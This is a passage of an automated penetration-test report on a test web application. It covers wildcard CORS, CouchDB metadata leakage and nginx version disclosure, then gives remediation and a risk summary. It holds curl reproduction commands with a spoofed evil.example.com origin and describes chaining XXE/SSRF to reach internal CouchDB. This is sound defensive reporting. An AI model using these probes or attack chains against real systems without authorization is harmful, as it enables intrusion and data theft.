The main page responds with Access-Control-Allow-Origin: * header, allowing any origin to read the response content via cross-origin requests. While Access-Control-Allow-Credentials is not set (browsers won't send cookies), the page content when accessed with a valid username cookie shows personalized data ('Welcome admin'). The wildcard CORS policy is overly permissive for an application that serves user-specific content.

HTTP TRANSACTION

REQUEST

```
GET / HTTP/1.1
Host: python.testinvicti.com
Origin: https://evil.example.com
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Access-Control-Allow-Origin: *

(No Access-Control-Allow-Credentials header present)
```

STEPS TO REPRODUCE

1. Send a GET request with a spoofed Origin header to the application root:

   ```
   curl -s -D - -o /dev/null -H 'Origin: https://evil.example.com' http://python.testinvicti.com/
   ```

   Observe that the response includes Access-Control-Allow-Origin: *, confirming the server allows any origin to read the response.

2. Verify that Access-Control-Allow-Credentials is NOT present in the response headers:

   ```
   curl -s -D - -o /dev/null -H 'Origin: https://evil.example.com' http://python.testinvicti.com/
   ```

The absence of this header means browsers will not attach cookies to cross-origin requests, which limits exploitability but does not eliminate the misconfiguration.

SEVERITY JUSTIFICATION

The wildcard CORS policy is confirmed but exploitability is limited because Access-Control-Allow-Credentials is not set, meaning browsers won't send cookies cross-origin. The impact is restricted to reading publicly-accessible page content from arbitrary origins, resulting in low confidentiality impact with no integrity or availability impact.

DISCOVERY & EXPLOITATION

The application root at `http://python.testinvicti.com/` returns an `Access-Control-Allow-Origin: *` response header, permitting any origin to read the HTTP response body via cross-origin requests issued from a browser. Validation confirmed the header is present on every response from this endpoint and that `Access-Control-Allow-Credentials` is absent. The absence of the credentials header is the primary constraint on exploitability: browsers will not attach session cookies to cross-origin requests under a wildcard policy, so authenticated content is not directly accessible through this vector alone.

The practical attack surface is limited to content the server returns without authentication. An attacker hosting a malicious page could issue a cross-origin `fetch()` or `XMLHttpRequest` to the application root and read the full response body, including any user-identifying data, tokens, or application state embedded in the unauthenticated page. The risk escalates materially if `Access-Control-Allow-Credentials: true` is added in a future configuration change, at which point the wildcard policy would enable full cross-origin authenticated session access from any attacker-controlled origin. Given the application's broader absence of security controls, this configuration represents a latent risk that could be activated by a single additional misconfiguration.

IMPACT ANALYSIS

The immediate confidentiality impact is limited to content served without authentication, as the absence of `Access-Control-Allow-Credentials` prevents browsers from forwarding session cookies in cross-origin requests. However, the application already transmits all traffic over unencrypted HTTP, and the combination of a wildcard CORS policy with the application's other authentication weaknesses creates a compounding risk profile. Should a developer add credential support to the CORS configuration, every authenticated endpoint would become readable by any arbitrary origin, exposing session data, user-specific content, and any sensitive application state to cross-origin exfiltration. From a compliance perspective, a permissive CORS policy on an application handling user data conflicts with the principle of least privilege required under frameworks such as GDPR, where unauthorized data access, even from a browser-mediated cross-origin request, constitutes a control failure. The remediation cost is low, making this a straightforward hardening opportunity with disproportionate long-term risk reduction.

REMEDIATION

1. Remove the wildcard `Access-Control-Allow-Origin: *` header from the application root and any endpoints that serve user-specific or authenticated content.

2. Implement a server-side allowlist of trusted origins and dynamically set the `Access-Control-Allow-Origin` header only for requests from those origins.
3. In the Flask application, use the `flask-cors` extension with explicit `origins` parameter instead of a blanket wildcard: `CORS(app, origins=['https://trusted-domain.com'])` .
4. Audit all endpoints for CORS headers to ensure no sensitive data is exposed to arbitrary origins, especially if `Access-Control-Allow-Credentials: true` is ever added.
5. Add a CI/CD check (e.g., a security header scanner like `securityheaders.com` integration or a custom test) to prevent wildcard CORS policies from being deployed.

INV-35

CouchDB Internal Metadata Exposure in Public API Responses

LOW

SEVERITY	CATEGORY	CWE
Low	Security Misconfiguration	CWE-200

ENDPOINT
http://python.testinvicti.com/ajax/popular

PARAMETER	CVSS 4.0
response body	6.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

EVIDENCE

Observed:

The /ajax/popular, /ajax/latest, and /ajax/archive endpoints expose internal CouchDB document metadata including _rev (revision) and _id fields in their JSON responses. Example: {"_rev": "1-a4c594728fea5de71e7f196da79eb3da", "_id": "696a3680438a7af53a0a54d3d26469bf"}. These internal identifiers reveal the database technology and could aid further attacks.

HTTP TRANSACTION

REQUEST

```
GET /ajax/popular?offset=0 HTTP/1.1
Host: python.testinvicti.com
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Type: text/html; charset=utf-8

[{"key": "value", "id": "696a3680438a7af53a0a54d3d26469bf", "value": {"users": [{"text": "We're glad to see New York introducing #NetNeutrality protections...", "user": "EFF"}], "screenshot": "default", "title": "Senator Brad Hoylman", "_rev": "1-a4c594728fea5de71e7f196da79eb3da", "_id": "696a3680438a7af53a0a54d3d26469bf", ...}}]
[... truncated ...]
```

STEPS TO REPRODUCE

1. Send a GET request to the API endpoint:

   ```
   curl -s http://python.testinvicti.com/ajax/popular?offset=0
   ```

   The JSON response contains internal CouchDB metadata fields _rev and _id within each document's value object.

2. Confirm the metadata is absent from non-API pages by requesting a static resource:

```
curl -s http://python.testinvicti.com/static/app/partials/about.html
```

The response does not contain _rev or _id, confirming the leak is specific to the API endpoints and not a generic application behavior.

SEVERITY JUSTIFICATION

Internal database metadata (_rev, _id) is exposed to unauthenticated users, revealing the backend technology (CouchDB) and internal document identifiers. Impact is limited to information disclosure with no direct confidentiality breach of sensitive data, integrity, or availability impact.

DISCOVERY & EXPLOITATION

The application's `/ajax/popular` endpoint returns JSON responses that include raw CouchDB document fields (`_id` and `_rev`) alongside the intended application data. These fields are not stripped or transformed before the response is serialized and sent to the client — the backend passes CouchDB documents directly to the API consumer without a projection or serialization layer. Validation confirmed the presence of both `_id` (a 32-character hex document identifier) and `_rev` (a CouchDB revision token) in unauthenticated responses, while static pages serving the same application contain neither field, confirming the leak is specific to the data access path.

An unauthenticated attacker observing these responses gains confirmed knowledge that the backend data store is CouchDB, along with internal document identifiers and revision tokens. Document `_id` values can be used to construct direct CouchDB API requests if the database port is reachable, and `_rev` tokens are required for update and delete operations in CouchDB's conflict-resolution model. In the context of this assessment, the XXE vulnerability at the password reset endpoint already demonstrates that the internal CouchDB service on port 5984 is reachable from the server — making the leaked identifiers directly actionable for an attacker who chains both vulnerabilities.

IMPACT ANALYSIS

The exposure of `_id` and `_rev` fields confirms the backend database technology to any unauthenticated visitor, eliminating a layer of obscurity that would otherwise require active reconnaissance. More concretely, the leaked document identifiers reduce the effort required to interact with CouchDB directly: an attacker who has already established internal network access (via the XXE-based SSRF documented elsewhere in this assessment) can use harvested `_id` and `_rev` values to target specific documents for read, update, or deletion without needing to enumerate the database independently. The `_rev` token in particular is a prerequisite for write operations in CouchDB, meaning this leak lowers the barrier for data manipulation if write access is obtained. While the fields themselves do not contain sensitive user data, their disclosure materially assists lateral movement and privilege escalation within the internal infrastructure.

REMEDIATION

1. Strip internal CouchDB fields (`_rev` , `_id`) from API responses before sending them to the client — implement a serialization layer or view transformation that only includes fields needed by the frontend.

2. Use CouchDB design document views or a backend mapping function to project only the required fields (`title` , `url` , `users` , `screenshot`) into the response.
3. Review all `/ajax/*` endpoints (`/ajax/popular` , `/ajax/latest` , `/ajax/archive`) to ensure no internal metadata leaks through any query parameter combination.
4. Add integration tests that assert API responses do not contain fields matching the pattern `_rev` or `_id` to prevent regressions.
5. Long-term, adopt an API response schema validation library (e.g., `marshmallow` or `pydantic`) in the Flask backend to enforce output contracts and prevent accidental data leakage.

7. Additional Observations

The following informational observations were noted during the assessment. While not direct vulnerabilities, they represent security hardening opportunities.

Wildcard CORS Policy (INV-36)

The application root returns an `Access-Control-Allow-Origin: *` header on every response, permitting any web origin to read the HTTP response body via cross-origin browser requests. Because `Access-Control-Allow-Credentials` is not set, browsers will not forward session cookies in cross-origin requests under this policy, limiting the immediate exploitability to unauthenticated response content. The risk is latent but meaningful: a single future configuration change adding credential support would instantly expose every authenticated endpoint to cross-origin exfiltration from any attacker-controlled domain. The remediation cost is low — replacing the wildcard with an explicit origin allowlist — making this a straightforward hardening opportunity.

Server Version Disclosure (INV-37)

Every HTTP response from the application includes a `Server: nginx/1.14.0 (Ubuntu)` header, disclosing the exact web server version to any client or network observer without authentication. nginx 1.14.0 is an end-of-life release with publicly documented vulnerabilities. While version disclosure does not constitute a standalone exploitation path, it eliminates reconnaissance effort for an attacker targeting the server with version-specific exploits and contributes to a composite fingerprint of the application's unpatched component inventory. Suppressing the version string requires a single `server_tokens off;` directive in the nginx configuration.

Combined Hardening Gap

Both informational observations reflect the same underlying pattern visible throughout the application: an absence of security hardening practices applied at the infrastructure layer. Neither the CORS policy nor the server header disclosure requires application code changes to remediate — both are nginx configuration items. Their presence alongside the broader set of missing security headers (no `X-Frame-Options`, no `Content-Security-Policy`, no `Strict-Transport-Security`) indicates that no systematic security header baseline has been applied to the nginx configuration, and that a single centralized hardening pass would address multiple observations simultaneously.

INFO Overly Permissive CORS Policy via Wildcard Access-Control-Allow-Origin Header

Affected resource: http://python.testinvicti.com/

The immediate risk of the wildcard CORS policy is the unrestricted readability of non-credentialed cross-origin responses by any third-party web origin. For an application that handles user data, this misconfiguration can facilitate cross-origin data exfiltration without requiring any user interaction beyond visiting a malicious page. In the broader context of this assessment, where multiple unauthenticated endpoints exist and session tokens are transmitted over unencrypted HTTP, the permissive CORS policy removes a browser-enforced boundary that would otherwise limit the blast

radius of other vulnerabilities. From a compliance perspective, regulations such as GDPR treat unauthorized disclosure of personal data as a reportable incident regardless of the technical mechanism; a CORS-facilitated data read from a third-party origin qualifies. Rectifying this misconfiguration requires no architectural change, only an explicit origin allowlist, making the risk-to-remediation ratio unfavorable for leaving it unaddressed.

RECOMMENDATION

1. Replace the wildcard `Access-Control-Allow-Origin: *` header with a whitelist of trusted origins that are explicitly allowed to make cross-origin requests to this application.
2. Configure the web server (nginx) or application framework to dynamically set the `Access-Control-Allow-Origin` header based on a validated list of allowed origins, reflecting only the requesting origin if it matches.
3. Ensure that `Access-Control-Allow-Credentials: true` is never combined with a wildcard origin, as browsers block this combination — but the wildcard alone still signals a permissive policy.
4. Add `Vary: Origin` response header when dynamically reflecting origins to prevent cache poisoning.
5. Implement a CI/CD check or security header scanner to flag overly permissive CORS configurations before deployment.

INFO Web Server Version Disclosure via Server Response Header

Affected resource: http://python.testinvicti.com/

The impact profile of this disclosure mirrors that of the sibling finding at `/ajax/popular`, with one meaningful distinction: the `Server` header is present on every response from the application, including unauthenticated entry points, error pages, and redirects. There is no request path or user state that suppresses it. This universality means the version is exposed to the broadest possible audience, including passive network observers, automated scanners, and any third party receiving a redirect from the application. In the context of the broader assessment, where nginx 1.14.0 is running alongside a collection of other unpatched components, the version disclosure contributes to a composite fingerprint that makes the server a well-characterized target for opportunistic and targeted attacks alike.

RECOMMENDATION

1. Configure nginx to suppress the version number by adding `server_tokens off;` in the `http`, `server`, or `location` block of the nginx configuration file.
2. Reload the nginx configuration with `sudo nginx -s reload` to apply the change.
3. Verify the fix by sending a request and confirming the `Server` header now shows only `nginx` without the version number.

1. As a long-term measure, incorporate response header checks into CI/CD pipeline security scans to prevent version disclosure from being reintroduced.

8. Recommendations

Immediate (Critical and High Vulnerabilities)

The 2 Critical and 12 High vulnerabilities documented in this assessment represent active, exploitable paths to full application compromise and must be remediated before the application is exposed to untrusted users.

Authentication (INV-1, INV-2, INV-7): The `/login` endpoint must be updated to perform server-side credential validation against a secure credential store before issuing any session token. The plain `username` cookie must be replaced with a cryptographically signed session token using Flask's `session` object with a strong `SECRET_KEY`. The default `admin:secret` credential on `/admin/` must be changed immediately to a strong, unique password, and hardcoded credentials must be removed from source code and replaced with environment-variable-managed secrets. Failure to act on these 3 vulnerabilities leaves the entire application's authentication boundary nonexistent — any anonymous user can assume any identity, including administrative, with a single HTTP request.

TLS and Credential Transmission (INV-4, INV-24, INV-25): TLS must be deployed across the entire application. Every credential, session token, and sensitive data item currently transits the network in cleartext. Configure nginx to redirect all port 80 traffic to HTTPS, install a valid certificate, and add a `Strict-Transport-Security` header with a minimum `max-age=31536000`. Until TLS is in place, all other authentication and session security improvements are undermined by passive network interception.

XXE and SSRF (INV-14, INV-5, INV-6): The XML parser at `/forgotpw` must have external entity resolution disabled immediately. For Python's `lxml`, use `etree.XMLParser(resolve_entities=False, no_network=True)`; alternatively, replace the XML body with a JSON payload entirely, eliminating the XXE attack surface. Implement server-side egress filtering to block outbound connections to `127.0.0.1`, `169.254.169.254`, and other internal address ranges. The confirmed SSRF reach to the internal CouchDB service on port 5984 means this single unauthenticated endpoint currently provides a direct path to the application's entire data store.

Cross-Site Scripting — High Severity (INV-8, INV-9, INV-10, INV-11, INV-12, INV-13): Enable Jinja2 auto-escaping globally (`autoescape=True`) in the Flask application to address server-side reflected XSS at `/contact` (INV-12) and `/login` (INV-13). For DOM-based XSS vectors (INV-9, INV-10, INV-11), replace unsafe DOM sinks: remove the `eval('this.myObj=' + x)` call in `sessvars.js` and replace it with `JSON.parse(x)`; sanitize all values derived from `window.location`, `location.hash`, and `window.name` before any DOM insertion. Upgrade AngularJS from 1.0.6 to a supported version to remove the framework-level amplification of these vectors.

Short-Term (Medium Vulnerabilities)

Medium vulnerabilities should be addressed within a defined remediation window, ideally within 30 days of the Critical and High fixes.

Cookie Security (INV-17): Update the `Set-Cookie` response for the `username` cookie to include `HttpOnly=True`, `Secure=True`, and `SameSite=Lax`. This is a single-line change in Flask (`response.set_cookie('username', value, httponly=True, secure=True, samesite='Lax')`) and directly reduces the exploitability of the XSS vulnerabilities already present in the application.

Reflected and DOM XSS — Medium Severity (INV-18, INV-27, INV-28, INV-29, INV-30, INV-31): INV-18, INV-28 share the same root cause as INV-13 — the `username` cookie value rendered unescaped — and are resolved by the same Jinja2 auto-escaping fix. INV-27 is resolved by replacing `ng-bind-html-unsafe` in `itemsList.html` with `ng-bind-html` backed by the `$sanitize` service. INV-29, INV-30, and INV-31 share the same HTML comment breakout pattern across `/comment`, `/like`, and `/report`; all 3 are resolved by validating the `id` parameter against an expected hexadecimal format and rejecting non-conforming input with a 400 response, combined with the global Jinja2 auto-escaping fix.

Outdated JavaScript Libraries (INV-3, INV-15, INV-16, INV-21, INV-22, INV-26): Upgrade AngularJS from 1.0.6 to 1.8.x (or migrate to Angular 2+) and upgrade jQuery from 1.9.1 to 3.7.x. These 2 upgrades collectively address INV-3, INV-15, INV-16, INV-21, INV-22, and INV-26. Load jQuery over HTTPS and add Subresource Integrity (SRI) attributes to all externally loaded script tags. Integrate Software Composition Analysis (SCA) tooling (e.g., Snyk, Dependabot) into the CI/CD pipeline to prevent future deployment of components with known CVEs.

Transport and Header Security (INV-20, INV-25): INV-20 and INV-25 are both resolved by the TLS deployment described in the Immediate tier. Once HTTPS is in place, add `Strict-Transport-Security` and update all internal resource references to HTTPS URLs.

Host Header Injection (INV-19): Configure nginx to validate the `Host` header against a whitelist of expected values and reject requests with unrecognized hosts. Remove all uses of `X-Forwarded-Host` in URL construction within application templates; use a hardcoded canonical base URL instead.

Open Redirect (INV-23): Replace the unvalidated `window.location = redirUrl` assignment in `redir.html` with an origin check: parse the URL with `new URL(redirUrl, window.location.origin)` and confirm `url.origin === window.location.origin` before redirecting. Redirect to the application root on validation failure.

Clickjacking (INV-32, INV-33): Add `X-Frame-Options: DENY` and `Content-Security-Policy: frame-ancestors 'none'` to the nginx server block. This is a single configuration change that resolves both INV-32 and INV-33.

CORS (INV-34): Replace the wildcard `Access-Control-Allow-Origin: *` header with an explicit origin allowlist using the `flask-cors` extension with a defined `origins` parameter.

Insecure HTTP Usage (INV-20, INV-24): Both are resolved by the TLS deployment in the Immediate tier.

Long-Term (Low, Informational, and Architectural Improvements)

Security Header Baseline (INV-32, INV-33, INV-36, INV-37): Establish a centralized nginx security header configuration include file that enforces `X-Frame-Options`, `Content-Security-Policy`, `Strict-Transport-Security`, `X-Content-Type-Options`, and a restricted `Access-Control-Allow-Origin` policy across all server blocks. Suppress the nginx version string with `server_tokens off;`. Validate the header baseline in CI/CD using a security header scanner.

Content Security Policy: Deploy a Content Security Policy header that disallows `unsafe-inline`, `unsafe-eval`, and restricts script sources to `'self'`. This provides a browser-enforced backstop against the XSS vulnerability class and would have materially reduced the exploitability of multiple findings in this assessment. Adopt Trusted Types to block DOM XSS sinks at the browser level.

CouchDB Internal Metadata (INV-35): Implement a serialization layer in the Flask backend that strips `_id` and `_rev` fields from all API responses before they are sent to clients. Add integration tests asserting that no response body contains fields matching `_rev` or `_id`.

Software Lifecycle Management: Establish a formal dependency management process: integrate automated SCA scanning into CI/CD, define a maximum acceptable component age policy, and schedule quarterly dependency reviews. The current deployment of AngularJS 1.0.6 (released 2012), jQuery 1.9.1 (released 2013), and nginx 1.14.0 (end-of-life) indicates no active lifecycle management has been applied.

Recurring Security Assessment: Schedule automated penetration testing on a regular cadence (minimum quarterly) and after any significant feature release. Integrate SAST tooling (e.g., Bandit for Python, ESLint security plugins for JavaScript) into the development pipeline to catch vulnerability classes such as unsafe XML parsing (Bandit rules B313-B320) and unescaped template output before they reach production.

9. Risk Assessment

The SecurityTweets application presents a security posture that is critically deficient across every fundamental control domain assessed. The 37 identified vulnerabilities are not a collection of isolated oversights — they reflect systemic, architectural-level failures that indicate security was absent as a design and development consideration.

The most consequential pattern is the complete collapse of the authentication boundary. The login endpoint issues valid session tokens for any submitted username without credential validation (INV-1), the administrative panel accepts publicly known default credentials (INV-2, INV-7), and the session token itself is an unsigned plaintext cookie that any client can forge without interacting with the server at all. These 3 conditions together mean the application has no functional authentication layer: the concept of "authenticated user" is meaningless when any party can claim any identity at will. This is not a common misconfiguration — it represents a fundamental absence of authentication implementation.

The second systemic pattern is the complete absence of transport security. The application is served entirely over unencrypted HTTP with no TLS, no HSTS, and no Secure cookie flags (INV-4, INV-20, INV-24, INV-25). Every credential, session token, and data item exchanged with the application is recoverable by any network-positioned observer without any active exploitation. This condition transforms every other vulnerability in the application from "exploitable with network access" to "exploitable with passive observation," materially lowering the bar for the entire vulnerability set.

The third pattern is the breadth and depth of the cross-site scripting exposure. The assessment identified XSS across 10 distinct vectors spanning server-side reflected injection, DOM-based injection via multiple browser sources, AngularJS client-side template injection, and cookie-resident persistent injection. This breadth is a direct consequence of two compounding failures: the absence of output encoding in the Flask/Jinja2 templates, and the deployment of AngularJS 1.0.6 and jQuery 1.9.1 — both end-of-life frameworks with documented, unpatched CVEs that amplify every injection point they touch.

The fourth pattern is the XML External Entity vulnerability at the password reset endpoint (INV-14, INV-5, INV-6), which chains a single unauthenticated endpoint into arbitrary server file read and confirmed access to the internal CouchDB service. This is a high-value attack chain: an unauthenticated external attacker can read application source files and configuration, enumerate internal network services, and interact with the backend database — all through a single POST request to a publicly accessible endpoint.

Compared to what is commonly observed in web applications of similar complexity, this application sits at the extreme low end of the security maturity spectrum. Applications of this type typically exhibit isolated vulnerabilities in specific features; this application exhibits critical failures in authentication, transport security, input handling, and software lifecycle management simultaneously. The vulnerability density (37 issues across 10 endpoints) and the severity distribution (2 Critical, 12 High) are consistent with an application that has never undergone security review and was not developed with security requirements.

The overall risk level is critical. The application should not be exposed to untrusted users in its current state. Immediate remediation of the authentication bypass, TLS absence, and XXE vulnerabilities is

required before any other security improvements will have meaningful effect.

Generated on 2026-08-05 18:42:38 UTC

Assessment: 53a6fde5-3e12-4aa4-ba58-2fe70f1a4552